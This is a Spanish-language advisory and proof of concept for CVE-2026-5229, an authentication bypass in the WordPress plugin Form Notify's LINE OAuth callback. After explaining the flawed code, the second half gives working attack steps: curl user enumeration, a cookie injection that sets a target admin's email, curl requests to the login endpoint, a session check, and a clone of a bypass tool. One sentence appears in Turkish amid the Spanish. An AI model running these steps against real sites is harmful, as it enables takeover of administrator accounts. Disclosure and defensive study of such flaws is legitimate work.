
CVE-2026-5229: Bypass de autenticación de Form Notify a través de LINE OAuth Callback (CVSS 9.8)
CVE-2026-5229: Bypass de Autenticación de Form Notify a través de la devolución de llamada de OAuth de LINE (CVSS 9.8)
Plugin: Form Notify (
form-notify) Tipo de vulnerabilidad: Bypass de Autenticación de LINE OAuth no autenticado → Toma de cuenta (Account Takeover) Puntuación CVSS: 9.8 (Crítico) Vector CVSS:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HVersiones afectadas: <= 1.1.10 Versión parcheada: 1.1.11+ Investigador: Paolo Tresso — Wordfence
El plugin Form Notify es un plugin de WordPress que envía notificaciones después del envío de formularios y ofrece integración con LINE Login OAuth 2.0.
La vulnerabilidad se encuentra en el manejador de devolución de llamada de LINE OAuth. Después de que el usuario completa el flujo de autorización de LINE, el plugin resuelve la cuenta de WordPress solo según la dirección de correo electrónico. Nunca verifica si esa cuenta de LINE ha sido asociada previamente con esa cuenta de WordPress.
| Versión | Vulnerabilidad | Método de ataque |
|---|---|---|
| <= 1.1.08 | Inyección de Cookie + Coincidencia de Email | Path A o Path B |
| 1.1.09 – 1.1.10 | Coincidencia de Email (cookie eliminada) | Path B |
| 1.1.11+ | Parcheada | — |
LINE OAuth callback endpoint'i tamamen herkese açık olarak kayıtlıdır:
// src/APIs/Line/Login/Route.php
register_rest_route(
'form-notify/v1',
'/callback',
array(
'methods' => 'GET',
'callback' => array( $this, 'get_api_callback' ),
'permission_callback' => function () {
return true; // no se requiere autenticación
},
),
);
Los nonces de WordPress son tokens CSRF, no tokens de autenticación. Cada visitante puede obtener un nonce válido del HTML de la página y pasar la verificación.
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email = $has_real_email ? $user->email : $user_raw_id . '@line.com';
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
$this->user = get_user_by( 'email', $user_email ); // solo búsqueda por email
if ( ! is_wp_error( $this->user ) && $this->user ) {
return true; // NO hay verificación de vinculación
}
return false;
}
Si se encuentra una coincidencia, el método login() abre la sesión inmediatamente:
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
if ( ! is_user_logged_in() ) {
wp_clear_auth_cookie();
wp_set_current_user( $this->user->ID );
wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
}
}
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
$line_email = sanitize_text_field(
wp_unslash( $_COOKIE['form_notify_line_email'] )
);
}
$user_email = ( $user->email ) ? $user->email : $line_email;
Cuando el perfil de LINE no devuelve email ($user->email vacío),
el plugin lee directamente la cookie del navegador.
El atacante controla completamente esta cookie.
$session_state = get_transient( 'form_notify_line_state_' . $state );
if ( empty( $session_state ) ) {
// Si no hay Transient, recurre a $_SESSION
$session_state = sanitize_text_field(
wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
);
set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}
Si el tiempo de vida del Transient ha expirado, se activa el fallback a $_SESSION.
En la mayoría de las instalaciones de WordPress, $_SESSION no está lleno en este punto →
la verificación de state puede ser eludida.
// método sign_up()
$userdata = array(
'user_pass' => $user_email, // contraseña = dirección de correo
...
);
En las cuentas creadas mediante el flujo OAuth de LINE, la contraseña es igual a la dirección de correo electrónico. Esto permite directamente ataques de fuerza bruta o de inicio de sesión.
| Razón | Descripción |
|---|---|
| No requiere autenticación | El endpoint de callback es completamente público |
| Sin verificación de vinculación | Cualquier cuenta de LINE es suficiente |
| Ataque de Cookie | En <= 1.1.08 ni siquiera se necesita email |
| Todas las cuentas, incluido admin | get_user_by('email') afecta a todos |
| Control de state débil | La protección CSRF puede ser eludida |
| Email = Contraseña | Las cuentas creadas con OAuth son vulnerables a fuerza bruta trivial |
⚠️ Aviso legal: Esta PoC se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. Realizar pruebas en sistemas sin permiso explícito es ilegal.
Requisitos previos:
TARGET="https://target.com"
# Lista de usuarios desde la API REST de WordPress
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool
# O páginas de autor
curl -s "$TARGET/?author=1" -I | grep Location
Abre las herramientas de desarrollador del navegador y pega en la consola:
document.cookie = "[email protected]; path=/";
O con curl:
curl -v -b '[email protected]' \
"$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location
Abre en el navegador la URL de OAuth de LINE que está en el header Location.
En la pantalla de consentimiento de LINE, no otorgues el permiso de email, o usa una cuenta de LINE sin email. LINE redirige al callback sin email. El plugin cae en la cookie.
curl -s -b 'wordpress_logged_in_XXXX=...' \
"$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool
Respuesta esperada:
{
"id": 1,
"name": "admin",
"email": "[email protected]",
"roles": ["administrator"]
}
Igual que el Paso 1 del Path A.
Crea una cuenta de LINE en account.line.biz con el email objetivo. (Requiere verificación de email — es necesario acceso a la bandeja de entrada objetivo.)
https://target.com/wp-json/form-notify/v1/login
En la pantalla de consentimiento de LINE, otorga el permiso de email. LINE devuelve la dirección de correo en el callback.
Plugin: is_member('[email protected]')
→ get_user_by('email', '[email protected]')
→ Administrador encontrado
→ wp_set_auth_cookie(1)
→ Sesión iniciada ✓
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt
requirements.txt
requests